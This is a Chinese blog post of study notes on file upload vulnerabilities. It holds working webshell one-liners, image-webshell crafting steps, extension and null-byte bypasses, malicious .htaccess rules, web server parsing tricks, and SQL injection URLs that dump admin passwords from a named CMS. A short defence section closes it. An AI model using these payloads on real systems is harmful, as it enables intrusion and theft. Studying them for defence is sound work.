网络安全学习笔记:文件上传

文件上传

1、一句话木马

ASP:
<%eval request("cmd")%>
​
ASP.NET:
<%@ Page Language="Jscript"%>
<%eval(request.Item["cmd"],"unsafe");%>
​
PHP:
<?php @eval($_REQUEST['cmd']);?>
中国菜刀与一句话木马配合实现了三大基本功能:文件管理、虚拟终端、数据库管理

2、PUT 方法

PUT 方法上传文件

HTTP 请求方法之一,允许向服务器直接写入文件
测试Apache 是否开启了put 方法
telnet 192.168.1.200 80
OPTIONS / HTTP/1.1
HOST:192.168.1.200

apache 开启put 方法操作
httpd.conf 文件
phpstudy 目录:C:\phpStudy\Apache\conf\httpd.conf
开启dav模块、启用模块、开启文件锁

image-20201106115030933image-20201106115147907

上传文件

http报头(手动输入可以成功)
telnet 192.168.1.200 80
    PUT /info.php HTTP/1.1
    HOST:192.168.1.200
    Content-Length:18
 
    <?php phpinfo();?>

3、服务端检测--MIME

在HTTP 协议中,使用Content-Type 字段
服务器端会检测Content-Type 类型,由于服务器在检测Content-Type 类型的时候,取得的变量来自用户,故我们仍可以通过bp抓包,修改这个字段,使其合法,即可绕过限制上传任意文件
文件扩展名MIME-TYPE
.js application/x-javascript
.html text/html
.jpg image/jpeg
.png image/png
.pdf application/pdf

4、服务端检测

1、文件内容

除了检测上传文件的Content-Type 类型,为了保持安全性,服务器端还会检测文件内容。PHP 中有一个函数getimagesize(),这个函数本意是检查图片的大小,但是在检查之前该函数会判断目标文件是否为一张图片。因此,可以用该函数来检测文件的内容

	对于文件内容的检测,我们可以通过上传图片木马绕过
		木马图片的制作
		1、GIF89a+换行+一句话木马
		2、文件合成
			copy t7c.jpg/b+info.php/a test_info.jpg
		3、利用属性
			属性-->详细信息
		4、16进制编辑器---文件幻术
	所有的Jpg图片的文件头部都是相同的,png和gif图片也是一样
	以下是16进制,需要转换为ASCII码,文件名后缀为php
png    89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
jpg    FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2c
gif    47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33

2、文件后缀

黑名单
对于黑名单,我们可以寻找其他允许上传的类型来绕过限制
	可以执行脚本后缀名
    .php .php2 .php3 .php5 .phtml
    .asp .aspx .ascx .ashx .asa    .cer
    .jsp .jspx
白名单
对于后缀名白名单策略,我们只能通过上传白名单内的文件后缀名。

3、00截断

00就是Null(空字符)字符,URL中表现为%00,00截断会导致文件上传路径截断---php读取文件的函数是利用C语言实现的,继承C语言的特性,C语言在定义字符串从第一个字符开始不知道字符串到什么位置结束(C语言规定到从第一个字符开始读,读到空字符时,字符串结束,不在往后读取)
	在上传文件是,修改http头部文件路劲
	关于文件路径

4、.htaccess攻击

 .htaccess 是Apache 服务器的分布式配置文件,该配置文件会覆盖Apache 服务器的全局配置,作用域是当前目录及其子目录。
 <Directory "...\WWW">
 	AllowOverride ALL
 
	将.png 文件当作PHP 文件解析
	将以下代码写入文件,并保存成.htaccess,放到测试目录下
		AddType application/x-httpd-php .png
	文件名中包含php 关键字
 	当文件名infophp.png]中包含关键字php,并且.htaccess 文件内容如下,infophp.png 中的代码会被执行
		AddHandler php5-script php
	匹配文件名aject, 找到该文件,并执行其中的PHP 代码
		<FilesMatch "ajest">
		SetHandler application/x-httpd-php
		</FilesMatch>

5、Web容器解析漏洞

1、Apache解析漏洞

Apache解析漏洞---古老
info.php.xxx.xx.x

2、IIS6.0 解析漏洞

 asp;1.jpg
     time.asp;1.jpg 
 1.asp/time.jpg

3、PHP CGI 解析漏洞

IIS7.0/7.5解析漏洞
	IIS7.0/7.5+PHP 
	上传info.png
	在路径后加上/.php

解决方法
	IIS管理器-->处理程序映射-->找到php映射模块-->编辑模块映射-->编辑--> 请求限制-->映射-->仅当请求映射至以下内容时才调用处理
	
Nginx 解析漏洞
	/info.png/1.php
	
以上漏洞均和 php配置cgi.fix_pathinfo=1有关,修改为0解决

4、Nginx 空字节漏洞

localhost/info.html%00.php

5、Nginx 文件名逻辑漏洞

CVE-2013-4745

上传png文件-->抓包-->读取png文件
	抓包-->重发模块-->在http头部在请求路径后+空格..php
	此时请求404-->打开Hex-->修改2e(.)为空字节(00)-->go

6、常见的编器上传

编辑器就是网站后台编辑网页的在线编辑器,会自动集成文件上传功能,这些编辑器的某些版本也存在文件上传漏洞
    ewebeditor
    fckeditor

7、变量覆盖

变量覆盖漏洞	metinfov5.0.4
-------------
$name="HELLOWORD!";
//?name=AJEST
foreach($_GET as $key=>$val){
    $$key=$val;//$name=AJEST;
}
var_dump($name);
-------------
通过变量覆盖漏洞,可以修改Web 应用的参数

8、经典CMS漏洞

南方数据管理系统

注入点
/news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or '%'='&;otype=title&;Submit=%CB%D1%CB%F7
 /NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20selecct%20*%20from%20news%20where%201=2%20and%20''='
登录后台-->图片上传-->抓包该类型-->利用数据库备份重命名
 利用数据库备份getshell|另存|自定义文件的名字

metinfov5.0.4

变量覆盖漏洞
$name="HELLOWORD!";
//?name=AJEST
foreach($_GET as $key=>$val){
    $$key=$val;//$name=AJEST;
}
var_dump($name);
-------------
将GET、POST、Cookie方式传递过来的注册成全局变量,这个全局变量会覆盖原来变量的值
通过变量覆盖漏洞,可以修改Web 应用的参数

9、防御

代码角度
	采用白名单策略,严格限制上传文件的后缀名。
	进行二次渲染,过滤掉图片木马中的恶意代码。
	将用户上传文件改名存放,包括文件名及其扩展名,并将其存放路径和文件名存放在数据库中。系统使用文件时,通过查询数据库动态获取。
	使用随机数改写文件名和路径

设置权限
	限制上传目录下拥有的执行权限

单独设置文件服务器的域名

 

posted @ 2020-11-11 10:16  xs123456789  阅读(344)  评论(0编辑  收藏  举报